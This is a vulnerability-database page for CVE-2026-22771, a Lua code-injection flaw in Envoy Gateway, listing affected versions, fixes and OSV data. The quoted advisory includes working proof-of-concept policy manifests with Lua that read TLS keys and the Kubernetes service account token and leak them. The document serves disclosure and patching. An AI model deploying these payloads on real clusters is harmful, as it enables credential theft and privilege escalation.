CVE-2026-22771: Github.com/envoyproxy/gateway Envoy Extension Policy Lua Scripts Vulnerability
HIGHCVE-2026-22771 is a HIGH (CVSS 8.8) envoy extension policy lua scripts vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Github.com/envoyproxy/gateway libraries in the Go ecosystem. The issue involves envoy extension policy lua scripts injection causes arbitrary command execution. Remediation is available by upgrading affected packages to version 1.6.2, 1.5.7.
CVE-2026-22771 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-22771
To remediate this vulnerability, upgrade all affected Github.com/envoyproxy/gateway dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/envoyproxy/gateway to 1.6.2
Upgrade github.com/envoyproxy/gateway to 1.5.7
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/envoyproxy/gateway
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-22771, inspect your project dependencies for Github.com/envoyproxy/gateway:
inspect dependencies for github.com/envoyproxy/gateway
Analyze the terminal output to locate any version of Github.com/envoyproxy/gateway in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Github.com/envoyproxy/gateway, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-22771 Affected Github.com/envoyproxy/gateway Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/envoyproxy/gateway
|
Go |
≥ 1.6.0-rc.0
< 1.6.2
|
1.6.2
|
|
github.com/envoyproxy/gateway
|
Go |
< 1.5.7
|
1.5.7
|
References
Frequently Asked Questions
What is CVE-2026-22771?
Which Github.com/envoyproxy/gateway versions are affected?
What version fixes CVE-2026-22771?
Is github.com/envoyproxy/gateway affected?
What is the CVSS score of CVE-2026-22771?
What CWE is associated with CVE-2026-22771?
How can I check Go dependencies for CVE-2026-22771?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xrwg-mqj6-6m22",
"modified" : "2026-01-13T18:47:34Z",
"published" : "2026-01-13T18:47:34Z",
"aliases" : [ "CVE-2026-22771" ],
"summary" : "Envoy Extension Policy lua scripts injection causes arbitrary command execution",
"details" : "### Impact\nEnvoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the `EnvoyExtensionPolicy` resource. Administrators can use Kubernetes RBAC to grant users the ability to create `EnvoyExtensionPolicy` resources. Lua scripts in policies are executed in two contexts:\n* An `EnvoyExtensionPolicy` can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope.\n* Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes. \n\nLua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. \n\nFor example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates. \n\n```yaml\napiVersion: gateway.envoyproxy.io/v1alpha1\nkind: EnvoyExtensionPolicy\nmetadata:\n name: lua-leak\nspec:\n targetRefs:\n - group: gateway.networking.k8s.io\n kind: HTTPRoute\n name: leak\n lua:\n - type: Inline\n inline: |\n function envoy_on_response(response_handle)\n local cert = io.open(\"/certs/tls.crt\", \"r\")\n local content\n if cert then\n content = cert:read(\"*all\")\n cert:close()\n else\n content = \"file-not-found\"\n end\n local keyfile = io.open(\"/certs/tls.key\", \"r\")\n local contentkey\n if keyfile then\n contentkey = keyfile:read(\"*all\")\n keyfile:close()\n else\n contentkey = \"file-not-found\"\n end\n local keypair = contentkey .. \"\\n\" .. content\n response_handle:body():setBytes(keypair)\n response_handle:headers():replace(\"content-length\", tostring(#keypair))\n response_handle:headers():replace(\"content-type\", \"text/plain\")\n end\n```\n\nThis execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following `EnvoyExtensionPolicy` will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status. \n\n```yaml\napiVersion: gateway.envoyproxy.io/v1alpha1\nkind: EnvoyExtensionPolicy\nmetadata:\n name: lua-leak\nspec:\n targetRefs:\n - group: gateway.networking.k8s.io\n kind: HTTPRoute\n name: backend\n lua:\n - type: Inline\n inline: |\n function envoy_on_response(response_handle)\n local token = io.open(\"/var/run/secrets/kubernetes.io/serviceaccount/token\", \"r\")\n local content\n if token then\n content = token:read(\"*all\")\n token:close()\n else\n content = \"file-not-found\"\n end\n io.write(content)\n error(content)\n end\n```\n\nResults in:\n\n```yaml\napiVersion: gateway.envoyproxy.io/v1alpha1\nkind: EnvoyExtensionPolicy\nmetadata:\n name: lua-leak\n[...]\nstatus:\n ancestors:\n - ancestorRef:\n group: gateway.networking.k8s.io\n kind: Gateway\n name: eg\n namespace: default\n conditions:\n - lastTransitionTime: \"...\"\n message: \"Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:\n failed to validate with envoy_on_response: <string>:622: [REDACTED TOKEN]\\nstack\n traceback:\\n\\t[G]: in function 'error'\\n\\t<string>:622: in function 'envoy_on_response'\\n\\t<string>:625:\n in main chunk\\n\\t[G]: ?.\"\n```\n\nAttackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself. \n\n### Patches\nThe patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution:\n* Runs Lua `Strict` validation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods.\n* Renamed `Syntax` to `InsecureSyntax` validation mode to signify that in this validation mode Lua won't be validated for possible security gaps.\n* Supports a new `disableLua` option in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code.\n\n### Workarounds\nEnvoy Gateway users can create Kubernetes RBAC rules (see [docs](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/envoyproxy/gateway"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.6.0-rc.0"
}, {
"fixed" : "1.6.2"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/envoyproxy/gateway"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.5.7"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/envoyproxy/gateway/security/advisories/GHSA-xrwg-mqj6-6m22"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22771"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/envoyproxy/gateway"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-13T18:47:34Z",
"nvd_published_at" : "2026-01-12T19:16:03Z"
}
}